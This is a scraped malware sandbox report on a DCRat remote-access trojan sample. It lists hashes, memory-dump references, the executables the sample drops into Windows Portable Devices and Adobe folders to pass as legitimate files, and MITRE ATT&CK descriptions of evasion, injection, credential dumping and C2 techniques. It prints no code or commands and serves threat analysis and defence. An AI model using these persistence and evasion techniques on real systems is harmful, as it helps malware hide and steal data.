Instruction ID: 2f1ac576b67e7c465236b77c648a7b1faf19981e72f65c592f000e81eb167ed9
Opcode Fuzzy Hash: 951e27906f9511570d9ef7ad38e469b8b41e866623a5c4c03aa5cbdedf0dca30
Instruction Fuzzy Hash: 39A00200F0ED2E45F07163D4046157E05451F89600F628672E10D811E6CEAE67465146

Function 00007FFD9B893901 Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3149822729.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9b890000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21007990b556faba2afc004aa9c6265798300efca0fa2510fe12275d6e71ee28
Instruction ID: 66d0c961fe259d1c1b9d2d8f33ec2c77b36501450b523e288f9e0971db9a96b7
Opcode Fuzzy Hash: 21007990b556faba2afc004aa9c6265798300efca0fa2510fe12275d6e71ee28
Instruction Fuzzy Hash: 8BA01220E1E00E90EA70179040541BC18105F04300F110070900C204A1CE7853804600

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report lEwK4xROgV.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Windows Portable Devices\97e8683a328693

C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe:Zone.Identifier

C:\Program Files\Common Files\Adobe\HelpCfg\en_US\97e8683a328693

C:\Program Files\Common Files\Adobe\HelpCfg\en_US\kOfFkekrfoWUJKTEEHXqPfq.exe

C:\Program Files\Common Files\Adobe\HelpCfg\en_US\kOfFkekrfoWUJKTEEHXqPfq.exe:Zone.Identifier

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Windows Analysis Report
lEwK4xROgV.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre